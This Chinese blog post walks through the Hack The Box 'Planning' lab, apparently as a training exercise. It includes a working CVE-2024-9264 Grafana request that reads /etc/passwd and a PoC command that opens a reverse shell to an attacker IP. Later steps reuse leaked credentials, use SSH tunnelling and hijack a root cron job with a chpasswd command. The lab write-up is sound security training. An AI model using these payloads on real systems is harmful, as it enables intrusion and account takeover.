HTB Planning 渗透测试详细记录

你是慕鸢呀~ 发布于 1 天前 0 次阅读 2777 字 预计阅读时间: 13 分钟


AI 摘要

# HTB Planning 渗透测试摘要 ## 关键发现 - **漏洞利用**:成功利用Grafana 11.0.0的CVE-2024-9264漏洞(SQL注入)获取Docker容器访问权限 - **横向移动**:通过环境变量泄露的凭据(enzo/RioTecRANDEntANT!)实现容器到宿主机的SSH登录 - **权限提升**:利用内部Cronjobs服务(8000端口)的root权限定时任务功能修改root密码 ## 攻击路径 1. 端口扫描发现80端口服务 2. 子域名枚举发现grafana.planning.htb 3. 利用Grafana漏洞获取容器shell 4. 从容器环境变量获取SSH凭据 5. 本地端口转发访问内部Cronjobs服务 6. 通过定时任务修改root密码获得完全控制 ## 技术亮点 - **CVE-2024-9264利用**:通过SQL注入实现文件读取和RCE - **Docker逃逸**:利用环境变量泄露的凭证 - **端口转发**:SSH隧道访问受限内部服务 - **定时任务劫持**:利用root权限的Cronjobs服务执行任意命令

HTB Planning 渗透测试详细记录

摘要

本报告详细记录了对HTB Planning (10.10.11.68) 目标系统的完整打靶练习过程。打靶练习中成功利用Grafana 11.0.0版本的CVE-2024-9264漏洞(SQL注入导致的本地文件读取和命令执行)获得Docker容器的初始访问权限。通过环境变量泄露的凭据实现从容器到宿主机的横向移动,最终利用内部Cronjobs管理平台的root权限定时任务功能成功提升至root权限。整个攻击链展示了从外部攻击到完全控制系统的完整过程。

关键技术

  • CVE-2024-9264: Grafana SQL注入漏洞,可导致任意文件读取和远程命令执行
  • Docker容器逃逸: 通过环境变量中泄露的凭据实现容器到宿主机的横向移动
  • 端口转发技术: SSH本地端口转发访问内部服务
  • 定时任务劫持: 利用具有root权限的Cronjobs服务执行恶意命令

1. 初始侦察阶段

1.1 端口扫描

首先使用Nmap进行全端口快速扫描:

nmap -sT --min-rate 10000 -p- 10.10.11.68

参数详解:

  • -sT: TCP Connect扫描,完成完整的TCP三次握手
  • --min-rate 10000: 设置最小发包速率为10000包/秒,加速扫描
  • -p-: 扫描所有65535个端口
  • 10.10.11.68: 目标IP地址

扫描结果:

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

发现仅开放22(SSH)和80(HTTP)两个端口。

1.2 详细服务识别

对发现的端口进行详细扫描:

nmap -sC -sV -O -p22,80 10.10.11.68

参数详解:

  • -sC: 使用默认NSE脚本进行服务识别和漏洞探测
  • -sV: 版本检测,识别服务的具体版本信息
  • -O: 操作系统检测
  • -p22,80: 指定扫描端口

详细扫描结果:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)

关键发现:

  • SSH版本:OpenSSH 9.6p1(较新版本)
  • Web服务器:nginx 1.24.0
  • HTTP重定向:重定向到planning.htb域名
  • 操作系统:Ubuntu Linux

1.3 域名配置

根据HTTP重定向信息,配置本地hosts文件:

echo "10.10.11.68 planning.htb" | sudo tee -a /etc/hosts

命令详解:

  • echo: 输出指定字符串
  • |: 管道符,将前一个命令的输出作为后一个命令的输入
  • sudo tee -a: 以root权限追加内容到文件
  • /etc/hosts: 本地DNS解析文件

2. 服务探测与信息收集

2.1 子域名枚举

使用ffuf进行子域名暴力破解:

ffuf -u http://10.10.11.68 -H 'Host: FUZZ.planning.htb' -w /usr/share/seclists/Discovery/DNS/services-names.txt -mc all -ac

参数详解:

  • -u http://10.10.11.68: 目标URL
  • -H 'Host: FUZZ.planning.htb': 设置Host头,FUZZ为占位符
  • -w: 指定字典文件路径
  • -mc all: 匹配所有HTTP状态码
  • -ac: 自动校准过滤器,过滤掉常见的错误响应

枚举结果:

grafana                 [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 323ms]

发现子域名grafana.planning.htb,配置hosts:

echo "10.10.11.68 grafana.planning.htb" | sudo tee -a /etc/hosts

2.2 应用程序指纹识别

使用whatweb识别Grafana版本:

whatweb http://grafana.planning.htb

输出结果:

http://grafana.planning.htb [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.68], RedirectLocation[/login], UncommonHeaders[x-content-type-options], X-Frame-Options[deny], X-XSS-Protection[1; mode=block], nginx[1.24.0]
http://grafana.planning.htb/login [200 OK] Country[RESERVED][ZZ], Grafana[11.0.0], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.68], Script[text/javascript], Title[Grafana], UncommonHeaders[x-content-type-options], X-Frame-Options[deny], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block], nginx[1.24.0]

关键信息:

  • Grafana版本:11.0.0
  • 安全响应头:X-Frame-Options、X-XSS-Protection等

3. 漏洞识别与初始访问

3.1 漏洞研究

通过版本信息查找相关漏洞,发现CVE-2024-9264:

3.2 漏洞验证

3.2.1 登录Grafana

使用提供的凭据登录:

  • 用户名:admin
  • 密码:0D5oT70Fq13EvB5r

3.2.2 文件读取验证

创建自定义仪表盘,使用Burp Suite拦截请求,修改为以下POC:

POST /api/ds/query?ds_type=datasource&requestId=Q103 HTTP/1.1
Host: grafana.planning.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://grafana.planning.htb/dashboard/new?orgId=1&editPanel=1&firstPanel
content-type: application/json
x-datasource-uid: grafana
x-grafana-device-id: 7f5e70d5cdf238b8705e11d77019c285
x-grafana-org-id: 1
x-panel-id: 1
x-panel-plugin-id: timeseries
x-plugin-id: datasource
Content-Length: 366
Origin: http://grafana.planning.htb
Connection: keep-alive
Cookie: grafana_session=9b8205b8612dda5ef84e8e3c1cc7f914; grafana_session_expiry=1752317438

{
  "from": "1696154400000",
  "to": "1696345200000",
  "queries": [
    {
      "datasource": {
        "name": "Expression",
        "type": "__expr__",
        "uid": "__expr__"
      },
      "expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
      "hide": false,
      "refId": "B",
      "type": "sql",
      "window": ""
    }
  ]
}

成功读取/etc/passwd内容:

"root:x:0:0:root:/root:/bin/bash",
"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin",
"bin:x:2:2:bin:/bin:/usr/sbin/nologin",
[...省略部分内容...]
"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin",
"grafana:x:472:0::/home/grafana:/usr/sbin/nologin"

分析结果:

  • 除root外无其他可登录用户
  • grafana用户的shell为/usr/sbin/nologin
  • 推测系统为Docker容器部署

3.3 获取反弹Shell

使用GitHub上的POC脚本进行命令注入:

python poc.py --url http://grafana.planning.htb:80 --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.16.5 --reverse-port 9001

参数说明:

  • --url: Grafana服务地址
  • --username/--password: 登录凭据
  • --reverse-ip/--reverse-port: 反弹Shell的监听地址和端口

建立监听:

nc -lvnp 9001

获得Shell后的信息收集:

listening on [any] 9001 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.68] 43634
sh: 0: can't access tty; job control turned off
# ls
LICENSE
bin
conf
public
# env
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
[...省略部分内容...]
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
[...省略部分内容...]

关键发现:

  • 确认在Docker容器内(HOSTNAME格式为容器ID)
  • 环境变量泄露凭据:enzo/RioTecRANDEntANT!

4. 横向移动

4.1 凭据复用

尝试使用发现的凭据通过SSH登录宿主机:

ssh enzo@10.10.11.68

登录成功,获取user flag:

enzo@planning:~$ id
uid=1000(enzo) gid=1000(enzo) groups=1000(enzo)
enzo@planning:~$ ls
user.txt
enzo@planning:~$ cat user.txt 
99c5f5********************4d985

5. 权限提升前的信息收集

5.1 sudo权限检查

sudo -l

结果显示enzo用户无sudo权限。

5.2 端口探测

检查本地监听端口:

ss -tl

输出结果分析:

State            Recv-Q           Send-Q                     Local Address:Port                        Peer Address:Port           Process           
LISTEN           0                4096                          127.0.0.54:domain                           0.0.0.0:*                                
LISTEN           0                70                             127.0.0.1:33060                            0.0.0.0:*                                
LISTEN           0                4096                       127.0.0.53%lo:domain                           0.0.0.0:*                                
LISTEN           0                151                            127.0.0.1:mysql                            0.0.0.0:*                                
LISTEN           0                511                            127.0.0.1:8000                             0.0.0.0:*                                
LISTEN           0                511                              0.0.0.0:http                             0.0.0.0:*                                
LISTEN           0                4096                           127.0.0.1:3000                             0.0.0.0:*                                
LISTEN           0                4096                           127.0.0.1:38425                            0.0.0.0:*                                
LISTEN           0                4096                                   *:ssh                                    *:*                                

关键发现:

  • 3000端口:可能是另一个Grafana实例
  • 8000端口:未知服务
  • 33060端口:MySQL X Protocol端口
  • MySQL标准端口3306

5.3 敏感文件发现

探索系统目录时发现关键文件:

enzo@planning:~$ cd /opt
enzo@planning:/opt$ ls
containerd  crontabs
enzo@planning:/opt$ cd crontabs
enzo@planning:/opt/crontabs$ ll
total 12
drwxr-xr-x 2 root root 4096 Jul 12 11:54 ./
drwxr-xr-x 4 root root 4096 Feb 28 19:21 ../
-rw-r--r-- 1 root root  737 Jul 12 11:58 crontab.db
enzo@planning:/opt/crontabs$ cat /opt/crontabs/crontab.db

crontab.db内容:

{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}

关键发现:

  • 发现密码:P4ssw0rdS0pRi0T3c
  • crontab.db文件属于root用户
  • 存在定时任务执行root权限的脚本

6. 权限提升

6.1 端口转发

6.1.1 转发3000端口

ssh -L 3000:127.0.0.1:3000 enzo@10.10.11.68

参数详解:

  • -L: 本地端口转发
  • 3000:127.0.0.1:3000: 将远程主机的127.0.0.1:3000转发到本地3000端口
  • enzo@10.10.11.68: SSH连接用户和主机

访问http://127.0.0.1:3000确认是Grafana服务。

6.1.2 转发8000端口

ssh -L 8000:127.0.0.1:8000 enzo@10.10.11.68

6.2 Cronjobs服务利用

访问http://127.0.0.1:8000,发现是Cronjobs管理界面。

使用凭据登录:

  • 用户名:root
  • 密码:P4ssw0rdS0pRi0T3c

分析:

  • Cronjobs服务以root权限运行
  • 可以创建和执行定时任务
  • 任务执行权限为root

6.3 获取root权限

在Cronjobs界面创建新的定时任务:

任务命令:

echo 'root:AAAaaa111' | chpasswd

命令说明:

  • echo 'root:AAAaaa111': 输出新的用户名和密码
  • |: 管道符
  • chpasswd: Linux命令,用于批量修改用户密码

点击"Run"立即执行任务,成功修改root密码。

6.4 切换到root用户

enzo@planning:/opt/crontabs$ su root
Password: AAAaaa111
root@planning:/opt/crontabs# cd /root
root@planning:~# cat root.txt 
d****************************

成功获得root权限和flag。

7. 总结

攻击链路图

互联网
   |
   v
[端口扫描] --> 发现22/80端口
   |
   v
[子域名枚举] --> 发现grafana.planning.htb
   |
   v
[版本识别] --> Grafana 11.0.0 (CVE-2024-9264)
   |
   v
[SQL注入] --> 文件读取 + 命令执行 --> Docker Shell
   |
   v
[环境变量泄露] --> enzo:RioTecRANDEntANT!
   |
   v
[SSH横向移动] --> enzo用户 (宿主机)
   |
   v
[信息收集] --> 发现crontab.db和内部服务
   |
   v
[端口转发] --> 访问Cronjobs服务 (8000端口)
   |
   v
[定时任务劫持] --> 修改root密码 --> root权限

各阶段关键点总结

  1. 初始侦察: 通过HTTP重定向发现主域名,子域名枚举发现Grafana服务
  2. 漏洞识别: Grafana 11.0.0存在严重的SQL注入漏洞,可导致RCE
  3. 初始访问: 利用CVE-2024-9264获得Docker容器内的Shell
  4. 横向移动: 通过Docker环境变量泄露的凭据SSH登录到宿主机
  5. 信息收集: 发现内部Cronjobs服务和相关凭据
  6. 权限提升: 利用root权限的Cronjobs服务执行命令修改root密码

攻击向量展示

  • 应用层漏洞: Grafana SQL注入漏洞(CVE-2024-9264)
  • 配置缺陷: Docker环境变量中存储明文密码
  • 权限滥用: Cronjobs服务以root权限运行且缺乏访问控制
  • 信息泄露: crontab.db文件中包含敏感密码信息
  • 认证弱点: 内部服务使用简单的用户名/密码认证
我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-07-12